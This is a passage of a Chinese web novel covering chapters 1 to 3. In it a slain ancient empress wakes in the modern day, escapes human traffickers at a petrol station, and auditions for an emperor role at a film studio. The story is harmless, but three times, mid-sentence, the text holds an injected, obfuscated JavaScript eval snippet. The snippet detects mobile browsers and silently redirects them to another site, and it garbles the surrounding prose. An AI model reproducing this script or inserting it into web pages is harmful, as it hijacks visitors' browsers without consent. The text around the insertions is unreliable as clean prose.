《女帝称霸娱乐圈》 1. 第 1 章 烛天南是被颠簸的路震醒的。 她只觉得大脑昏昏沉沉的,身体酸痛,像是被人反复摁在水里后,直接捞出来摔到岸上,如同一条半死不活的鱼。 阳光有点刺眼,她半眯着的凤眸此时带着一点迷茫,就像被雾遮住了。 周围的一切都非常陌生。她的鼻尖弥漫着皮革的味道,四周扣了几个方形的窗户,时不时有一些树叶一闪而过。阳光从窗户撒下来,微微刺眼。 这是什么地方?! 烛天南的凤眸顿时睁大,随即眉目一沉,脸上写满了戒备。 她明明带领着自己的军队亲征,却因亲信背叛,正中敌人的陷阱。 她甚至还能记得,箭矢穿透了她的胸膛,疼痛鞭笞自己,胸前的血液从盔甲的缝隙里溢出来。 怎么现在……像在某辆马车上。 烛天南全身紧绷,稍微动一下手,捂在了自己的胸膛上。 心脏轻轻地跳动,如同一株微弱但坚定的火苗。 她,还活着。 烛天南微微一怔,吐了口气后,又意识到此刻的处境比战场诡异。 【宿主您好,您这是穿越了。】 突然,一个声音响起。 哪里来的声音? “喂?啊,对,收到货了,她那爸妈把她卖了,说是早知道当时买来的是个傻子,就换另一个了。”那道粗犷的声音哈哈大笑,紧接着,又换上了谄媚的语气,道,“别说,她还真的很木讷。” 有人。 烛天南心里掀起了惊涛骇浪,面上却不显半分。 她全身紧绷,警惕地四处打量,这才发现,自己好像是躺在了马车的后排。前面有两把奇怪的高椅子。有一个彪形大汉正坐在其中一个凳子上,背对着她,不知道在跟谁说话。 那是一个穿着短衫,手毛茂盛的大汉,正坐在她面前的椅子上,被一条黑硬的带子绑住了,手上还在拿着像车轮一样的东西。 想必,这就是……马夫。 仇家找来的? 烛天南的猜疑转瞬即逝,每个想起来的家族都被她否决了。 她的仇家确实挺多的,不过都在她登基之前,就被她解决掉了。 一时半会儿,她确实想不起来是谁。 大汉以为烛天南还在昏迷之中,扯着嗓子说话。 “那就希望她能卖个好价钱吧。毕竟,现在看得很严,也就只有傻子才好出手……”另一道声音响起,带着奇怪沙沙声。 还有人? 烛天南心一惊。 明明她刚刚是观察过的,这个车厢只有她和马夫。 剩下的这个人躲在哪里? 烛天南不留痕迹地寻找声源,无疾而终后,一个不可思议的想法占据了脑海。 这辆马车,会说话! 这到底是个什么地方?! “反正你快点,好不容易才找到脸好看的货,别弄丢了。”那道沙哑的声音警告大汉。 “知道了,不过,我等会儿去加油站加一下油。这车太老了,跑个几公里都吃了好几升的油,而且好多零件都老化得很厉害,一不小心就会卡住。所以可能……”大汉却不那么着急说话,而是意有所指,暗示什么。 “行行行,到时候给你报销油费。我这里还有事,先挂了。”沙哑声音沾染上了些许不耐烦的情绪。 随着“嘀”的一声,“马车人”的声音消失了。 烛天南虽然不知道这两个人是谁派来的,但是,通过他们对话的“买”“卖”等词,她大致能推出,这群人是那群卖人的牙子。 她必须要逃走。 下一秒,车子驶过一个减速带。整辆车腾空了一瞬后,“啪叽”一声跌在地上,又“哼哧哼哧”地开了。 烛天南只感觉自己瞬间腾空了,掉回椅子后,东倒西歪,要么撞到后面的靠背,要么就差一点掉到座位底下。好不容易她才稳住了身体时,行驶的马车慢慢地停下。 耳边的嗡嗡声消失了。 烛天南看着那名大汉将那条黑带子接下来,挂在旁边,然后手在一旁不知道按了个机关,门就开了。 一阵晕乎乎的,跟车上味道相似的气味飘进来,而后被门一把关在车内。 烛天南捏着鼻子,立马起身。隔着窗户,看见那个大汉的身影越来越远,最后进入了一个小厢房。 就是现在! 烛天南从两个座位中间的空隙穿过,一个大踏步跨到刚刚大汉的位置,开始四处寻找出去的机关。 刚刚被前面的两个高椅子挡住了,烛天南看不见大汉是怎么开的,只能凭借着直觉,开始摸索。 手下是个像车轮一样的东西,下面挂着几个细细的铁片,左右两边有几根棍子。烛天南尝试扭一扭铁片,又拍了拍圆形的轮子,顿时,马车叫出了声。 烛天南吓得一哆嗦,手也不小心碰到了其他的棍子,顿时,这辆马车不但在怪叫,还在亮光,前面的玻璃也突然有了几根黑棍子在左右摇摆,“嘎吱”的声音带动着整个“马车”也晃动起来,就像是在发怒的怪物。 这辆马车果真藏了一个人! 烛天南心里闪过一丝慌乱。一是怕被人注意到这里的异样,二是因这个“马车人”的不配合。 此时的困境不好与“马车人”起冲突,烛天南便正了正衣冠,平和地问道:“仁兄可能有所不知,朕并非你们要找的人,而是大夏第十二任皇帝。所以,能否放朕离开呢?” “马车人”一句话也没说。车灯和雨刮器兢兢业业地工作。 烛天南只当是“马车人”的沉默是不愿意与她交谈,心里暗道不妙,便脸上挂着笑容,道:“仁兄是不好回答吗?那朕跟你商量点事情,你同意的话,就应一声,如何?” 烛天南试探性地拍了一下轮子,“马车人”果真叫了一声。 “哔——” 烛天南稍微放心,还能交流,就还有转机。 “仁兄可否,不插手朕接下来的行动?” “哔——” ……几番下来,烛天南单方面与“马车人”达成共识,她满意地画饼,道:“等朕离开后,一定重重有赏。” 然而,这里的动静引起了加油站工作人员的注意,一胖一瘦的两名工作人员向这辆古怪的车走来。 烛天南也察觉到有人向她逼近,暗道不好,“嗖”的一声蹲下身,也不忘说道:“既然仁兄没回应我,说明仁兄是不想要奖赏。那朕也不拿这些名利粪土来侮辱仁兄的高贵品质了。” 话说着,两名工作人员已经靠近了。他们巡视着车了几周后,迟疑半天,摇头对视。 “咱别管这么多吧,这个车主好像很不好惹……他这么做,肯定有他的道理。” “那我们还是去工作吧。” 车子的隔音不是很好。听到两人打算离开,烛天南稍稍放心,然而外面话锋一转:“不对,我觉得有点古怪。” 烛天南刚放下的心又悬挂起来。外面的瘦子停下脚步,一脸凝重,等待着胖子的话。 “据我刚刚的观察,我发现,车灯和喇叭组合在一起,正好跟我最近看的x侦探柯北的科普相同——是SOS信号。”胖子冷静地分析着,用手抬了抬不存在的眼镜。 瘦子恍然大悟,随即脸色很难看,道:“这说明了……” “说明车主也看过x侦探柯北!”胖子拍了拍大腿,一脸兴奋道,“没想到现在还有人看这陈年老番,我要跟他好好探讨一下谁是最终boss……” 瘦子没忍住,给了胖子一拳:“笨蛋,sos,是求救信号,有人在求救。” “哦……对哦。”胖子这才反映过来,看向瘦子,凝重地问,“所以,你觉得是……” “求救信号,肯定是车主发的。我们又知道,车主现在进了厕所。所以,车主一定是遇到了什么问题,比如——”瘦子举起不存在的红蝴蝶结变声器,眼里划过两道锐利的光。 胖子恍然大悟,心领神会,激动地说:“厕所,没纸了!” “没错。”瘦子得意地点点头,总结道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150803|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车主一定是想让我们送纸。” “可我们不知道他在哪个隔间,也不知道他的名字。” “没事,我们知道他的车牌号,一间一间敲门问。毕竟,我们的宗旨是,为顾客服务。” 两人的话越来越小声,烛天南知道了两人已经走远,悬着的心终于落地了。 他们奇怪的话让她下意识想深想。下一秒,她摇摇头。 不管了,离开最重要。 烛天南埋头在其他地方动手动脚,手伸到座椅底下,隐隐摸到了一个把手。 她心中一喜,尝试一拉。 “唰啦”一声,烛天南整个人连同座椅,往后滑了一大段距离。 烛天南连忙放下把手,座椅这才停下,但又不知道按到了什么,“砰”的一声,座椅的靠背丝滑地躺平了,她没预料到,连忙扶住旁边门上的把手。 “好多机关。” 还好她身为九五之尊的皇帝,遇到的机关比吃过的饭还多,这些根本就不算事。 烛天南心有余悸,同时愈发小心。她又找到了几个机关,依次摁摁扣扣。时间过得飞快,然而这次,只听见了几个响声,门没有任何的动静。 —— 厕所隔间,大汉正在酣畅淋漓地排遗,突然间就听见了一阵敲门声,和一道礼貌的声音。 “您好,您是YS123456车的车主吗?你拉屎没带纸的求助信号,我们已经收到了,给您送纸了……” 听到了自己车牌号的大汉虎躯一震。 什么情况? 他口袋里有纸。 敲门声依次响起,像是不找到人不罢休一般。大汉本想忍忍过去,结果突然听见了隔壁隔间说:“我在这,麻烦给我一张。” 紧接着,就像是被打开了潘多拉魔盒一般。 “我也要,我的量大,要多一点。” “我不要太多,几张就够了。” 大汉:? 一时间,厕所散发着礼貌的芳香。 烛天南也知道时间等不了人了,看向门边的几个按钮,手动调试几下后,“咔嗒”一声,门开了。 那股奇怪的味道更浓了。烛天南从车门这里滚落下来,地面灰白,像干掉的灰浆。 身后的“马车人”突然发出了奇怪的声音,一股难以言述的焦味夹杂着灼热的烫度,尝试包裹住她。 一丝不妙油然而生,烛天南心里的石头高悬,嗓子眼都要跳出喉咙了。 快点走! 她也来不及打量后面“马车人”的全貌,只能凭借着本能迅速逃离。 往外面走了十几米后,她才环顾四周。 好几个配着绳子和箱子的柱子,上面标着一些“92#”“95#”看不懂的数字信息。每个柱子面前都停留着几个“马车人”,还有几个穿着红色衣服的人。 马车人居然没有马? 烛天南震惊之余,连忙晃晃脑袋。 她一转头,便看见了旁边一辆“车人”停下来。门开了,走出来一个穿着奇怪的人。 头发都剪掉了,只留下像切断稻田后留下的杈杆。胳膊和腿像干活的农民一样露在外面,然而穿的布料却看起来十分舒适,就连她也从没见过。 那个人跟红衣服的人说了些话后,转身就想离开。烛天南连忙走上前,拦住了他的路。 “仁兄请留步。”烛天南理了理衣着,作揖。作揖时,她的上半身稍微前倾,却难掩她如松般挺拔的仪态,凤眸横扫,只觉天潢贵胄,嗓音也有些华丽的味道,“你可知,皇宫如何走?” “皇宫?”那个人的眼里闪过一丝惊艳,被她的气质震住了,思索片刻后,恍然大悟道,“我知道了,你是来我面前试戏的,对吧?” 烛天南听不懂他的话,稍微侧头,眼里闪过一丝疑惑。 “还可以,气质挺好的。正好,像你这样有仪态的演员也不多了。”他上下打量了一遍烛天南,把她的沉默当作同意,满意地点点头后,突然发出邀请,“就你了,来面试吗?” 2. 第 2 章 “嗯?”烛天南听不懂他说的话,但面上却不作声。 作为(曾经的)皇帝,必修课之一:绝不喜形于色。多余的交给别人猜测。 “我们剧组,盒饭量大管饱。”那个人越看她越满意,看到她身上的衣服,笑道,“看你身上的衣服,应该也是从乡下来的,不会坐车,正好我顺路去竖店影视城,就载你一程?” 烛天南只听懂了他最后愿意带她离开。 机会摆在面前,她却有点犹豫了。 她并不清楚眼前的人是否值得信任,更何况她的死因,也正是因亲信反水。 可是,她才费劲千辛万苦从牙子的手中跑出来,眼下没有任何的去处。 思绪转瞬即逝,烛天南并没有急着先答应,而是若有若无地跟他套话。 几个来回后,她知道,面前的这个人32岁,是导演,家在竖店附近——虽然她听不懂他嘴里名词的意思,但是凭借她的直觉,面前的这个人老实可信。 烛天南放下心来,答应了,作揖道谢:“那就……麻烦仁兄了。” “没事,不用太客气。叫我黄导就可以了。你先上车吧。”黄导笑着摆摆手,让烛天南上他的车。 烛天南看见了这辆密不透风车,有点头疼,但眼尖看见了门上有个凹槽。 她轻轻一拉,门开了,心里松了一口气。 “记得关门的时候轻一点。”黄导提醒的声音传来,下一秒,一阵爆炸声突然响起。 炽热的温度朝烛天南扑来。 她回过头,原本十几米开外的地方,已经燃起了一个小火球。 正好是刚刚她跑出来的那辆车。 “靠北啊,哪辆车加油不熄火?”黄导骂了一声,将烛天南塞进车内,手一伸,关上了门。然后自己钻进车里,飞快地逃离了这个加油站,一边心有余悸地说,“我本来还想来这里上个厕所。” 小轿车的发动机启动,周围的景物逐渐加快向后逝去的脚步。烛天南好奇地趴在窗户旁,向后看。 那团火离她越来越远。 烛天南默默地收回了视线看向别处。 这……应该跟她没有关系吧? -- 大汉好不容易等到了那些“礼貌”的发纸员离开,等到周围一切都没有动静后,才怒气冲冲地推开门。 到底是谁,竟敢整他? 他顺手从口袋里掏出了一包烟,抽出一根叼进嘴里,大摇大摆地走出厕所,看见有一群人在围观一个巨大的火球。 “嚯,这么惨。谁加油不熄火?”大汉幸灾乐祸地凑上去瞧,下意识摸了摸口袋,没摸到钥匙。 哦,他只是熄火了,钥匙还挂在车上。 大汉动作一顿,乐观地开导自己,他不可能那么倒霉。 但,这密集的人群……怎么感觉,像是在他的车附近? 希望他的车没事。 大汉心里这么想,可心里一丝不妙油然而生,脚步不由自主地加快。 当他穿过了人群,看到了正在燃烧的车时,他猛地顿住了脚。 巨大的火焰之中,车还亮着车灯,坚强地挥着雨刮器。后备箱不知为何打开了,油箱门也打开了。火焰宛若阴毒的蛇,舔舐着车的框架,始终不肯离开。 真的是他的车。 “不——”大汉抱头痛哭,跌倒在地上,绝望地痛哭,“我的车——” 身后的人群突然骚动起来,“好惨”等层出不穷。 声音最大的,是——“原来他就是那个在厕所忘带纸,然后发了sos求救信号,最终用掉了我们超市三大箱24小包纸巾,还挑剔我们纸巾品质不好的YS123456车主啊。” 大汉心死又社死,双重打击下,悲痛欲绝,然而他突然想起,车里还有昏迷的人。 大汉突然平静下来,安静地起身打算离开这里。周围人以为他要跟车一起殉情,便拉住他的手,劝他不要想不开。大汉心里着急万分,可是此时,警车和消防车到了。 消防员用消防器灭掉了火,车骨架里面已经啥也没有了。 大汉松了一口气,道,“我还有事,先走了。” 大汉脚底抹油般想溜,却被店员们堵住了。 “你的纸巾钱还没给。”胖子笑嘻嘻地说,“你是想乖乖还呢?还是跟警察交代呢?” 大汉急着离开,瞥了一眼警察后,一咬牙,掏钱付了。 胖子笑眯眯地数着钱,挥了个手,让他离开。 大汉再次松了一口气,又被警察叫住:“等等,回趟警局做下笔录吧。” 因为自己涉嫌拐卖,大汉做笔录的时候忐忑不安。好在警察们似乎并没有认出来他,让他做完就回去。 大汉再再次松了一口气,出门便迎上了一直在追捕他们行踪的警察。 那名警察见到他,惊呼道:“咦,是谁抓到了这个人贩子?” 大汉的脸变得惨白,他拔腿就跑。然而他就在派出所,插翅难逃。 最后,大汉喜提一副银手拷。 — 顶天立地的高楼成群结队,遮天蔽日,不时顶端的窗玻璃反光,像是俯视着,与待在蝼蚁般大小的车里的烛天南对视。高架桥穿梭其中,线条优美,宛若游龙。 烛天南只觉得一切是如此陌生又如此真实,手掌贴在车窗,掌心冰凉。她努力瞪大眼睛,好奇地打量这个陌生的国度。 “你们乡下,应该很少看见这么高的楼盘吧,哈哈。”黄导开着车,从车内后视镜中,看见烛天南好奇地打量着外面,不由得笑出声来。 “这种……楼,确实少见。朕……我见过的,从没这么高。”烛天南已经顾不得什么皇家的礼仪了,喃喃道。 外面的路是青黑色的,出乎意料的平稳和宽敞,旁边载着的花花草草五颜六色,生机勃勃,可以跟她的御花园相媲美。 “那倒是,乡下虽然很少高楼大厦,但是空气清新,适宜居住。”黄导一手将车窗降下,疾速的风迅速涌进了车内。烛天南收回手,,发丝也随之飞扬。 前辆车有的车窗摇下,一个白色袋子飞出来。她还没来得及看清楚,那袋子宛若白昼流星,眨眼间就被远远地抛到了车后面。 她不由得惊呼了一声。 黄导摸了一下头发,有点扎手,他得意洋洋道,“我这辆车可是新提的,怎么样,跑得快吗?” “是很快,不过,马在哪里?”看着外面疾驰离去的树木楼房,烛天南也忍不住发出自己的疑惑,“难道是有人在拉车?但,人又藏在哪里?” “哈哈哈,现在都什么年代了,这些车子用的是发电机,吃汽油的,还有新能源的,不用人和马来拉。”黄导被烛天南的话逗乐了,按了下播放键。 下一秒,车里的音响打开,一阵优美的音乐声响起。 “是谁在唱歌?”烛天南又被震惊到了。 “温暖了寂寞?”黄导秒接。 他哈哈一笑,摇头晃脑,跟着音乐一起摇摆,“不过你猜错了,不是他们的。这歌是一个姓苍的歌手唱的。我老婆孩子特别喜欢。” 烛天南只觉得这声音很是耳熟,但周围新奇的一切吸引了她的所有注意力。 她把手伸出窗外,掌心的温度也随着风一起,从她的指缝中漏掉。 这是她从未体会到的速度。 谈话间,两人已经驶入了竖店影视城附近。 车子里面的构造都很相似。烛天南凭借着自己的记忆,摸索到了开门的把手,下了车。 这里停着不同颜色的车子。她跟着黄导的后面,顺利地进了竖店影视城。 烛天南四处打量着,心里涌起了一阵阵的欣喜。 这里果然是皇宫。 城门口是用青砖搭起来的城门。梨花色的地砖一路铺向城门的深处,左右镶嵌着各种各样的小商贩和小酒楼,牵扯出几十条小巷。地砖的尽头,便是朱墙黛瓦的皇宫外围城墙。 只是,跟她记忆里的不太一样。 “我还要再跟编剧他们商量一下。等会儿有个面试。我相信你,肯定可以进去的。”黄导拍了拍她的肩膀,满意地点点头,接着转身离开,留下一句,“你可以在这附近逛逛,正好今天只有我们这个剧组会面试,你随便问问就知道在哪面试。” 烛天南心不在焉,便只是一股脑地点点头。 这个地方很奇怪,一部分人穿着她那个时代的衣服,但另一部分人穿着的衣服与黄导的相似。 她到底来到了什么地方? 【宿主,其实你来到了四千多年后的世界。】 怎么还有声音? 烛天南环顾四周,只看见一个巨大的长方形物体。 那是一个挂在城墙上的黑色板子,突然间散发着白光,紧接着,那块板子居然像一个戏台子一样,变幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150804|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同的画面。 “好神奇!”烛天南微微瞪大眼睛,一时间好奇战胜了其它想法,“莫非,这是新的皮影戏台子?” 那块板子慢慢浮现出了几行字。 [历史小知识,大夏的皇帝有三十多个。其中只有大夏第十二任皇帝是女性。根据考古挖掘的东西,我们能大致推出,这个皇帝也姓烛。至于名什么,后世并没有记载了。 她这一生非常传奇,年幼时手段狠辣,弑父弑兄,登上皇位。期间滥用严法酷吏,然而最后在亲征时,战死在了沙场上。不可否认的是,当时她确实让整个国家版图扩大,国家实力最雄厚,百姓们生活条件最好。] 随着画面的变换,四千多年的历史缓缓向她展开。 直到屏幕再次变黑。 烛天南缓了好久,才捋清楚当前状况。 自己来到了四千多年后的新华夏。 还好,大夏在她死时,没亡。 【呜呜呜,宿主,你终于明白了自己穿越了。现在人人平等,没有压迫和剥削,自然也没有皇帝和奴隶。】 这道声音再次响起。烛天南环顾四周,警戒地问:“到底是谁在装神弄鬼?” 【宿主,我在你的脑海里。你可以称呼我为,世界上最厉害的真爱粉丝值获取系统735。因为一个意外,我不小心绑定了你,我们才存活下来了。】 “你的意思是,我能活下来都是你的功劳?” 【四千多年前的你早就死了。而现在,我的能量只能让你活两天半。】那道声音有些委屈。 烛天南下意识捂住胸口。 她永远都忘不了那阵穿心的痛,甚至可以与在朝廷里与其他势力勾心斗角、尔虞我诈、争夺权力的痛苦相媲美。 她只想活——而正好,上天给了她一次重新活着的机会。 “你有什么想法?”烛天南毕竟是当过皇帝的人,就算面对如此颠覆三观的事情,也能迅速接受,镇定下来。 【咦,宿主,你接受得好快。能量跟真爱粉数量挂钩。得到一个真爱粉就能多活一天,是不是很简单?】 “你觉得应该怎么做?” 【我觉得,正好宿主您在影视城,您可以演戏来赚取真爱粉数量。】 “挺好,我很喜欢你的回答。”烛天南满意点头,话锋一转,“你有目标吗?” 【普通人的寿命也就三万多天,只要我们攒到三万多就够了。在内娱,大概就三四线水平吧,虽然比不上顶端的,但是也……】 “那怎么行?” 735陷入迷茫。 “朕之前是皇帝,那么现在也得在这个圈子里,成为最顶端的那个人。”烛天南负手,微微扬起头,眼睛明亮如炬,划过野心的光芒,“有没有我绝对拿不到的奖项?” 735有点为难。 【影帝吗?这个你可能拿不到,因为只有男性才能拿到。】 “朕当初就是靠着自己,让只有男性才能当皇帝这段历史,在朕这里,彻底终结。”烛天南一点也不在乎,她握紧拳头,轻蔑一笑,道,“朕只知道,实力为王。” 735顿了顿,有点欣慰。 接下来的时间,735疯狂地给她科普这个世界的基本常识,烛天南似懂非懂。 一不小心,太阳将周遭景色的影子拉得很长。 要到面试的时间了。 烛天南正好看见几个人路过,便走上去,问他们:“诸位请留步,冒昧地打扰一下,面试皇帝的那个剧组在哪里?” 那几个人面面相觑,看了烛天南一眼后,哈哈大笑。 “方格哥,居然有人敢在你的面前跟你抢角色,哈哈哈。” 烛天南皱紧眉头。她不知道他们这群人为什么突然狂笑,便试探性地问:“难不成,诸位其实是得了失心疯,从医府里偷偷跑出来的?” “你骂谁呢?”站在左边的黑夹克不乐意了,他上上下下打量了一番,嫌弃地捏着鼻子,装模做样地在鼻子前扇扇风,道,“穿得这么穷酸样,也配跟我方格竞争角色?” “你这种乡下来的穷鬼,还是早点回去吧。”中间的方格也默认了黑夹克的话,好整以暇地双手环抱置于胸前,“穷鬼面试什么皇帝?” “就是,还不给我方格哥磕个头认个错?” 一群人嬉笑一团,不怀好意的视线齐刷刷地锁在烛天南的脸上,妄图看到她的难堪。 3. 第 3 章 令他们失望的是,烛天南皱着眉头,只是扫了一眼他们一群人。 可仅仅只是一眼,他们目光惊恐,内心便掀起了惊涛骇浪。 不知为何,面前的这个女生眼神里不含有任何一丝感情,即使被一群人围着,也带着俯瞰众人的威压,好似随意扫了一眼路边随处可见的蝼蚁。 每一个对上她眼神的人,心里都不由自主地涌出惶恐和惧意,下意识低下头,灵魂深处抗拒与她对视。 黑夹克的大脑被烛天南的气场震得空白了瞬间,等他回过神来,却发现早就低下头,额头已经布满了薄薄的细汗,自己的身体因害怕而在颤抖。 他在害怕什么? 黑夹克被自己莫名心生的畏惧震惊到了,不等他细想,一道充满威严的声音响起。 “古人云,德者,才之师也。没想到在人人平等的新华夏,也会出现你们这种‘官宦勾结’的小团体。”烛天南看着这群不敢与她对视的鹌鹑们,眼神也多了嘲弄,一针见血地说,“品行不正,傲慢自大,你的成就,就只能到这了。” 她可是当过皇帝的,哪里不清楚这群人说那些话的真实目的——不止是为了看她难堪,更是想让她知难而退。 可惜,她的字典里只有迎难而上。 “你……”黑夹克本想回驳几句,可又因为烛天南说的话文绉绉的,又说的属实。一时间只能结结巴巴地吐出几个没有意义的字词。 他向方格投了一个求助的眼神,而方格却被烛天南的话羞辱得脸一阵青一阵红。他只能强撑着,生硬地丢下一句,“给你个机会也无妨,反正,你是绝对没有赢的胜算。” 下一秒,方格等人的后背传来了一阵鼓掌声,以及一道赞赏的声音。 “好一个,德者,才之师也!” 他们惊讶地回头,看见来人后,让出了一条道,面色难看地低下头。 方格像是找到了自己的靠山般,扬眉吐气。其他人唯唯诺诺地叫了一声来者:“黄导好。” “没想到,路过还能听到这么精彩的话。”黄导慢悠悠地走过来,他的头上多了一个草帽,遮挡太阳的同时,还为他增添了几分潇洒。 烛天南不卑不亢地点点头,看向来人,大大方方地说:“黄导。” “你说得没错,只有才德兼备的人,才能走得更远。”黄导乐呵呵地鼓着掌,望向烛天南的眼神也多了几分欣赏。他不留痕迹地扫了一眼在旁边装鹌鹑的黑夹克们,说,“要是因为剧里有一些人因为私事‘塌房’,导致剧播不了或者被下架了,那可真的得不偿失。你年纪这么小,却能有这样的觉悟,实在是让人惊喜。” 他停顿了几秒,问道:“我跟编剧商量了,就定下你,如何?” 听到这句话,烛天南并不意外。可是方格瞳孔地震,不敢置信地指着烛天南,朝黄导问道:“不是,你确定找这么个人来演皇帝?她怎么配?” “我是导演,自然知道是选谁更合适。”黄导瞬间冷脸。 每个导演都讨厌被质疑选角的眼光。 方格瞥了一眼旁边的人,一咬牙,威胁黄导,道:“我家里可是有钱的,你不能得罪我。再者,你也清楚,明明已经说好了公开招角,现在又反悔……你掂量一下后果吧。” “这……”黄导一滞。 他差点忘了,方格是资方塞进来的人。 他的视线在烛天南和方格之间来回扫荡,眉头紧锁,陷入了深深的纠结和挣扎之中。 方格得意地瞥了烛天南一眼,仰起头,勾起了胜利的笑容。 见到黄导犹豫的样子,烛天南心里清楚了几分。她抢在黄导开口前,先说:“没事的,黄导。还是走正常的面试流程选角吧。” 黄导一听,松了一口气,可是愧疚又翻上来了,他望向烛天南,正欲开口说些什么,就被她伸手制止,打断了。 “我只是单纯看不惯某些不良风气罢了。”烛天南看到方格面色难看,微微一笑,道,“不就是演个皇帝吗?” 她比谁都清楚,皇帝是什么样的。 “那你完了。”黑夹克眼睛咕噜转一圈,嘿嘿一笑,弯下腰,谄媚般地朝方格靠了几步,道,“咱方格可是曾上过专门的名牌大学,还特地找了几个老师请教演技的。你跟他比,简直就是不自量力。” 方格松了一口气,眼里必胜的光芒更强烈了。他站立的姿势也更加放松,重心在一条腿上,另一条腿随意摆开,傲慢地说:“你知道老师是怎么评价我的演技的吗?浑然天成!” 黄导听到了这些话,心里也有点紧张,望向烛天南的眼睛也多了几分担忧。 谁知烛天南噗嗤一笑,言语间嘲弄的味道更足了:“你这么厉害,怎么还跟你口中‘穷酸’的人争角色呢。” 方格被这话一噎,脸上一阵红,不知道是因愤怒还是愧赧。 “好了,你们跟上我吧。”黄导在两人即将吵起来的时候,控住场面。 —— 处于愧疚,黄导偷偷塞给了烛天南一身戏服和排面试的号码,再让化妆师给她上妆。 拿着戏服和号,烛天南懵懵地来到化妆室前面。 一门之隔,房间里面嘈杂的声音拦不住。 烛天南推开门,嬉笑声,对台词声,吹风机的轰鸣声,化妆箱的开合声,乱作一团朝她扑面而来。头顶的风扇扇叶转动,断断续续地搅动头顶的白灯。 化妆室是几个剧组一起租用的,化妆室难免陷入一片混乱之中。地上堆着一大堆的衣服,几张椅子立在其中,一群人里面化妆或者念稿。 烛天南费力地踏进寸步难行的化妆室,突然听到一道清脆的嗓音。 “诶,你就是黄导说的那个面试的吧?” 那是一位大约二十三岁的女生,脸上东一块西一块的颜料,稚气还未褪去。她的眼睛清澈纯粹,在化妆室的白光下,就像玻璃弹珠。看起来还是一个刚毕业的大学生,没有遭受社会的毒打,天真地对未来抱有希望。 “我是你的化妆师,你可以叫我小圆。”她一手提着黑色箱子,另一只手指了指旁边的小隔间,俏皮地眨眼,道,“那里是试衣间,你先换衣服,我看看需不需要改尺寸,再给你化妆。” 试衣间看起来是临时搭的,在洗手池旁边。靠墙,左右两边是几张木板。门口前,随便扯了一张布挡着。 烛天南去旁边洗了把脸,冰凉的水打湿了她的额发。旁边没有擦手的布,她只能甩甩手,走进试衣间,里面窄得只能挤两三个人。 烛天南放下衣服,双臂展开,一动不动,就像在稻田里守望的稻草人。 过来一会儿,735忍不住了,好奇地问。 【宿主,你快换衣服呀,时间快来不及了。】 “朕在等人……哦,想起来了,朕穿越了。”烛天南这才反应过来,手忙脚乱地换衣服,同时深深地叹息。 “风水轮流转啊,朕也要自己穿衣服了。”短时间接二连三的转变,让烛天南只能苦中作乐,自嘲当今的处境。 735看见烛天南好像有点沮丧,便刮肠搜肚,挤出几句安慰。 【陛下,别人自己穿衣服,是他们身边无人可依,下场凄惨。可是,您不一样啊陛下,您自己穿衣服,是心系百姓,体恤民生,是想让百姓们操劳自己的家。百姓们有了安稳的小家后,一国大家才能安稳,您才是世界上最伟大的明君啊!陛下,圣明!】 烛天南被哄得心花怒放,嘴角迅速上扬与太阳肩比肩,只能屈拳掩饰,道:“低调低调……等朕东山再起,朕,重重有赏。” 画饼嘛,一回生,二回熟。 她这才有空打量自己身上原本穿的衣服——大红色碎花上衣,亮绿嫩枝下裤,村口老奶奶都嫌弃的款式,穿上后就是万花丛中最鲜艳的一株大红花。 这样黄导还能看出她的非凡气质? 因为许久没有自己穿衣服了,烛天南的动作带着生疏,但还是凭借着自己的记忆力穿得服帖。 “喂,里面的人好了吗?死人了啊?穿这么久。”外面已经有催促声了。 小圆在外面替她解释,道:“她的衣服有些繁琐,所以会久一点……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150805|150320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这就耍起大牌了?再大能有我们丽姐厉害?咱丽姐的衣服也很繁琐。” 烛天南拂去了衣服上的褶皱,确认自己衣着得体后,一把掀开了门前的布。 一时间,化妆室内的嘈杂声都像是被按下了暂停键,所有人的目光集中在从试衣间出来的人。 凤眸轻掀,随意一瞥便乱了看者的心神,剑眉锋锐,威严万千。尽管她未施粉黛,但额间发略微潮湿,增添了恰到好处的随性和潇洒。黑发未经打理,倾泻而下,明黄色的龙袍披在她身上,不威自怒又自信张扬。身形修长挺拔,站若迎风不屈松。 仪表堂堂,丰神俊朗,像是古代的皇帝,真走到他们面前。 在场的所有人,无不心神晃荡,赞叹不已,抽气声此起彼伏,互相呼应。 如此出众的气质,放在内娱都独无代餐。 更别提,这种气质,竟然是来源于一个乡下来的女生。 “我已经换完了,你急着用的话,就先进去吧。” 她的声音明媚,恍若深冬骄阳,不偏不倚驱散了凛冬的严寒,唯留下一片温暖。让人忍不住沉溺其中,贪恋那份来之不易的阳光。 